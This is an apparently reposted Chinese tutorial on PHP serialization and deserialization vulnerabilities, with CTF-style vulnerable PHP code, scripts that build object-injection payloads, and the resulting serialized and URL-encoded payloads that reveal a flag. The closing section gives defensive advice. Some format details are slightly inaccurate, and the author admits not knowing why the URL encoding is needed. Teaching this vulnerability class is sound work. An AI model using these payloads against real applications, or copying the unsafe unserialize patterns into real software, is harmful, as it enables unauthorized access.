序列化与反序列化基础及反序列化漏洞(附案例)

news2024/11/25 12:57:47

参考文章:

[web安全原理]PHP反序列化漏洞 - 笑花大王 - 博客园 (cnblogs.com)

一、概念

        为了能有效的存储数据而不丢失数据的类型和内容,经常需要通过序列化对数据进行处理,将数据进行序列化后,会生成一个字符串,字符串包含了序列化前的数据的信息,交由反序列化函数处理后,即可复原数据。

        而在PHP中常用的序列化和反序列化函数则有:序列化函数(serializejson_encode),反序列化函数(unserializejson_decode)

二、PHP序列化

        这里着重介绍serialize函数

1、NULL序列化

        NULL将被序列化为N;:

        示例代码:

<?php
$text = NULL;
echo serialize($text);

        输出结果:

2、Boolean序列化 

        bool类型将被序列化为(b:value;):

        示例代码:

<?php
$text = true;
echo serialize($text);

        输出结果:

3、int序列化

        int类型将被序列化为(i:value;):

        由于在PHP中声明变量时不需要显式的将数据类型标出,因此当超出了int类型的范围(通常是-2,147,483,648到2,147,483,647)时,会被PHP解析为double类型

        示例代码:

<?php
$text = 123;
echo serialize($text);

        输出结果:

4、double序列化 

        double类型将被序列化为(d:value;):

        在PHP中类似于1.23和超出int类型范围(如:123124315213412512)的数据,通常都会被解释为double类型

        示例代码:

<?php
$text = 12.3;
$text1 = 123124124124123124;
echo serialize($text)."<br>";
echo serialize($text1);

         输出结果:

5、String序列化 

        String类型将被序列化为(s:length:"value"):

        示例代码:

<?php
$text = "e3xplolt-hada";
echo serialize($text);

        输出结果:

 6、Array序列化

        Array将被序列化为(a:length:{i:index;value(对应数据序列化后的结果如NULL则是N;);}):

        示例代码:

<?php
$text = array();
$text[0] = NULL;
$text[1] = true;
$text[2] = 123;
$text[3] = 1.23;
$text[4] = 123124315213412512;
$text[5] = "e3xplolt-hada";
echo serialize($text);

        输出结果:

 7、Object序列化*

        Obeject将被序列化为

(O:class_name_length:"class_name":value_num:{s:value_attribute(1,2+class_name_length+value_name_length,3+value_name_length):"value_name";value_type:value;})若属性为privatevalue_name为(class_name.value_name),若属性为protectedvalue_name为(*.value_name)

注: class_name=类名、class_name_length=类名长度

        value_name=变量名、value_name_length=变量名长度、value_type=变量类型(如intbool)、value_attribute=变量属性(如publicprivateprotected)、value_num=变量个数

        其中value_attribute后的1,2,3则分别代表publicprivateprotected,如在test1类内有一个变量为private $b="789",则序列化后value_attribute值为2+class_name_length(test1长度为5)+value_name_length(b长度为1),即2+5+1=8,所以为8

        示例代码:

<?php
class test1{
    public $a;
    private $b="789";
    private $ca="aacc";
    protected $c123=456; 
}
$test = new test1;
$test -> a = 123;
echo serialize($test);

        输出结果:

O:5:"test1":4:{s:1:"a";i:123;s:8:"test1b";s:3:"789";s:9:"test1ca";s:4:"aacc";s:7:"*c123";i:456;}

三、PHP反序列化

1、魔术方法

        __wake与__unserialize

        当对序列化后的对象进行反序列化时,在PHP存在类似于__wakeup__unserialize魔术方法,每次unserialize函数对对象进行反序列化操作时,都会尝试调用这个对象所属类中的__wakeup__unserialize方法,如果存在就会执行

        注:若__wakeup__unserialize方法同时存在,则__wakeup方法会被无视

        示例代码:

<?php
class test1{
    public $a;
    public function __wakeup(){
        echo "<br>"."e3xplolt-hada";
    }
}
$test = new test1;
$test -> a = 123;
echo serialize($test);
$test123=serialize($test);
$test=unserialize($test123);

        输出结果:

        __destruct

        该魔术方法会在某个对象不再被调用或者对象被销毁时调用

        示例代码:

<?php
class test1{
    public $a;
    public function __destruct(){
        echo "<br>"."e3xplolt-hada";
    }
}
$test = new test1;
$test -> a = 123;

         输出结果:

        

四、反序列化漏洞

1、漏洞成因

        反序列化函数传入参数可控

        类内存在魔法函数

2、案例分析

        unserialize函数传参可控

<?php
include "./flag.php";
class user{
    public $password="xxxxxx";
    public $username="xxxxxx";
    public $isadmin='e3xplolt-hada';
    public function login($u,$p,$id){
        if($this->username===$u&&$this->password===$p){
            $this->checkadmin($id); 
        }
    }
    public function checkadmin($id){
        if($id===$this->isadmin){
            global $flag;
            echo "hello,admin:".$flag;
        }
    }
}
$user=unserialize($_GET['ser']);
$user->login($user->username,$user->password,$user->isadmin);

        分析代码:

        我们可以发现在函数unserialize中存在可控制的变量$_GET['ser'],同时他会在之后调用该类下的login方法,因此正常业务逻辑应为传输用户序列化后的信息给unserialize函数,再通过login进行登录并检测权限,但由于这里的传参未经正确的处理因此产生反序列化漏洞。这里可通过构造一个对象其$password变量为xxxxxx$username变量为xxxxxx$isadmin变量为e3xplolt-hada即可,因此我们有如下脚本可生成payload

        脚本代码:

<?php
class user{
    public $password="xxxxxx";
    public $username="xxxxxx";
    public $isadmin='e3xplolt-hada';
}
$text = new user;
echo serialize($text);

        payload:

O:4:"user":3:{s:8:"password";s:6:"xxxxxx";s:8:"username";s:6:"xxxxxx";s:7:"isadmin";s:13:"e3xplolt-hada";}

输出结果为:hello,admin:flag{hardtowork}

        魔术方法使用不当

<?php
include "./flag.php";
class user{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        if($this->code==="givemeflag"){
            global $flag;
            echo $flag;
        }
    }
}
$user = unserialize($_GET['ser']);

         分析代码:

        分析代码可知如果我们想要获取flag,我们需要尝试用一个属于backDoor类的对象,去调用getInfo方法,并且该对象的私有变量code必须是字符串"givemeflag"。

        通过观察类user发现他会在创建一个新对象时,创建一个Info类的对象,并存储在class中。

        同时我们发现,当user类下的对象不再被调用或被销毁时会调用class所存储的对象所属类下的getInfo方法。

        从上面的分析我们可以得出突破口在__destruct方法中,若我们利用$user = unserialize($_GET['ser']);传入一个对象,该对象内部的变量class所存储的对象属于backDoor类,且该对象内的code变量值为"givemeflag",当对象被销毁时,则会自动调用backDoor类下的getInfo函数,获取flag

        脚本代码:

<?php
class user{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=ture;          
    private $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
class backDoor{
    private $code="givemeflag";
    public function getInfo(){
        if($this->code==="givemeflag"){
            global $flag;
            echo $flag;
        }
    }   
}
$p=new user();
$a=serialize($p);
echo urlencode($a);

        payload:

 O%3A4%3A%22user%22%3A4%3A%7Bs%3A14%3A%22%00user%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A14%3A%22%00user%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A11%3A%22%00user%00isVip%22%3Bs%3A4%3A%22ture%22%3Bs%3A11%3A%22%00user%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A10%3A%22givemeflag%22%3B%7D%7D

注:需保留URL编码,否则不认,原因暂不清楚

五、防御手段

        针对反序列化漏洞,我们需要着重观察函数unserialize及json_decode,注意可控参数的过滤

        同时关注类中如果出现魔术方法如__unserialize、__wakeup、__destruct时,需谨慎对待,过滤传参,保护其下的敏感函数如eval,system等

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2190604.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

冯诺依曼体系结构与操作系统简介

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 冯诺依曼体系结构与操作系统简介 收录于专栏[Linux学习] 本专栏旨在分享学习Linux的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录 1.…

CSP-J Day 5 模拟赛补题报告

姓名&#xff1a;王胤皓&#xff0c;校区&#xff1a;和谐校区&#xff0c;考试时间&#xff1a; 2024 2024 2024 年 10 10 10 月 5 5 5 日 9 : 00 : 00 9:00:00 9:00:00~ 12 : 30 : 00 12:30:00 12:30:00&#xff0c;学号&#xff1a; S 07738 S07738 S07738 请关注作者的…

分治算法(1)_颜色分类

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 分治算法(1)_颜色分类 收录于专栏【经典算法练习】 本专栏旨在分享学习算法的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录 1. 分治思…

PostgreSQL 任意命令执行漏洞(CVE-2019-9193)

记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。 使用靶机复现攻击过程。 过程 在信息收集过程中&#xff0c;获取到在公网服务器上开启了5432端口&#xff0c;尝试进行暴破&#xff0c;获取到数据库名为默认postgres&#xff0c;密码为1 随后连接进PostgreSql …

(杨辉三角) 攻防世界--->notsequence

学习笔记。(不想看可以直接跳正文。) 前言&#xff1a;仿佛又回到高中 - - 只不过&#xff0c;是以另一种形式再次出现。 学习思维为主&#xff0c;做题位次。&#xff08;后面再补。&#xff09; 前置知识&#xff1a; 什么是杨辉三角&#xff1a; 杨辉三角_百度百科 (bai…

【CSS in Depth 2 精译_045】7.1 CSS 响应式设计中的移动端优先设计原则(上)

当前内容所在位置&#xff08;可进入专栏查看其他译好的章节内容&#xff09; 第一章 层叠、优先级与继承&#xff08;已完结&#xff09; 1.1 层叠1.2 继承1.3 特殊值1.4 简写属性1.5 CSS 渐进式增强技术1.6 本章小结 第二章 相对单位&#xff08;已完结&#xff09; 2.1 相对…

MySQL【知识改变命运】02

数据类型 1&#xff1a;数据值类型2&#xff1a;字符串类型/二进制类型3&#xff1a;⽇期类型 前言&#xff1a;数据类型一共分为四类&#xff1a;数据值类型&#xff0c;字符串类型&#xff0c;二进制类型&#xff0c;日期类型。 1&#xff1a;数据值类型 类型大小说明BIT[(M…

Spring Boot 集成 Flowable UI 实现请假流程 Demo

​ 博客主页: 南来_北往 系列专栏&#xff1a;Spring Boot实战 在现代企业应用中&#xff0c;工作流管理是一个至关重要的部分。通过使用Spring Boot和Flowable&#xff0c;可以方便地构建和管理工作流。本文将详细介绍如何在Spring Boot项目中集成Flowable UI&#xff0c…

【Java】—— 泛型:泛型的理解及其在集合(List,Set)、比较器(Comparator)中的使用

目录 1. 泛型概述 1.1 生活中的例子 1.2 泛型的引入 2. 使用泛型举例 2.1 集合中使用泛型 2.1.1 举例 2.1.2 练习 2.2 比较器中使用泛型 2.2.1 举例 2.2.2 练习 1. 泛型概述 1.1 生活中的例子 举例1&#xff1a;中药店&#xff0c;每个抽屉外面贴着标签 举例2&…

Chromium 添加书签功能浅析c++

1、在点击添加书签时候此UI控制逻辑代码在 chrome\browser\ui\views\bookmarks\bookmark_bar_view.cc chrome\browser\ui\views\bookmarks\bookmark_bar_view.h 可以在此看到完成 移除 按钮逻辑&#xff0c;以及书签监听事件等。。。 // Implementation for BookmarkNodeAdd…

FastAdmin Apache下设置伪静态

FastAdmin Apache下设置伪静态 一、引言 FastAdmin 是一个基于ThinkPHP和Bootstrap框架开发的快速后台开发框架&#xff0c;它以其简洁、高效、易于扩展的特点&#xff0c;广受开发者的喜爱。在部署FastAdmin项目时&#xff0c;为了提高访问速度和用户体验&#xff0c;我们通…

VLAN:虚拟局域网

VLAN:虚拟局域网 交换机和路由器协同工作后&#xff0c;将原先的一个广播域&#xff0c;逻辑上&#xff0c;切分为多个广播域。 第一步:创建VLAN [SW1]dispaly vlan 查询vlan VID&#xff08;VLAN ID&#xff09;:用来区分和标定不同的vlan 由12位二进制构成 范围: 0-4…

[3D打印]拓竹切片软件Bambu Studio使用

Bambu Studio 界面功能 材料 不同材料 一般使用的是PLA, PETG, ABS PLA(57℃), PETG(66℃)的强度以及耐高温的能力比较差, ABS有味道, 不环保但是强度比较高(85℃) TPU: 不支持AMS, 数字小硬度小, 打印出来有亮光 TPE: 和上面一样, 打印出来是哑光的, 但是打印的难度比较…

物联网智能项目(含案例说明)

物联网&#xff08;Internet of Things&#xff0c;简称IoT&#xff09;智能项目是指利用物联网技术将各种物理设备、传感器、软件、网络等连接起来&#xff0c;实现设备之间的互联互通&#xff0c;并通过数据采集、传输、处理和分析&#xff0c;实现智能化管理和控制的项目。以…

Docker_速通_01

Docker Docker笔记连接相关概念如下安装运行命令 命令镜像容器run细节根据容器制作新镜像对正在运行容器的修改,保存为镜像保存成文件加载文件成镜像 分享镜像登录修改名字 docker tag推送镜像 目录挂载卷映射创建卷 容器之间直接访问查看容器细节容器内部互相访问自定义网络创…

[NeurIPS 2022] STaR: Bootstrapping Reasoning With Reasoning

Contents IntroductionMethodExperimentsReferences Introduction CoT 推理可以有效提升 LLM 推理能力&#xff0c;但 few-shot prompting 无法发挥 CoT 的全部潜力&#xff0c;训练能够生成中间推理步骤 (i.e., rationale) 的 LLM 又需要大量人工标注 rationale&#xff0c;为…

Python 从入门到实战35(进程-multiprocessing模块)

我们的目标是&#xff1a;通过这一套资料学习下来&#xff0c;可以熟练掌握python基础&#xff0c;然后结合经典实例、实践相结合&#xff0c;使我们完全掌握python&#xff0c;并做到独立完成项目开发的能力。 上篇文章我们讨论了turtle库绘制图画操作的相关知识。今天学习一下…

anaconda创建环境无法定位到正确的Python解释器版本

一、概述 因为需要使用到torch其对Python的版本有些限制&#xff0c;我使用anacoda创建了Python版本3.8的环境&#xff0c;出现了一些问题&#xff0c;具体问题在下面进行分析。 二、具体分析 &#xff08;一&#xff09;问题概述 如图所示&#xff0c;在新创建的环境中&…

跟《经济学人》学英文:2024年10月05日这期 Dismantling Google is a terrible idea

Dismantling Google is a terrible idea Despite its appeal as a political rallying cry dismantling: &#xff08;枪支&#xff09;分解&#xff1b;解散&#xff1b;拆除&#xff1b;&#xff08;dismantle的现在分词&#xff09; appeal&#xff1a;吸引力 rallying …

Apollo9.0 Planning2.0决策规划算法代码详细解析 (5): OnLanePlanning::Init()

&#x1f31f; 面向自动驾驶规划算法工程师的专属指南 &#x1f31f; 欢迎来到《Apollo9.0 Planning2.0决策规划算法代码详细解析》专栏&#xff01;本专栏专为自动驾驶规划算法工程师量身打造&#xff0c;旨在通过深入剖析Apollo9.0开源自动驾驶软件栈中的Planning2.0模块&am…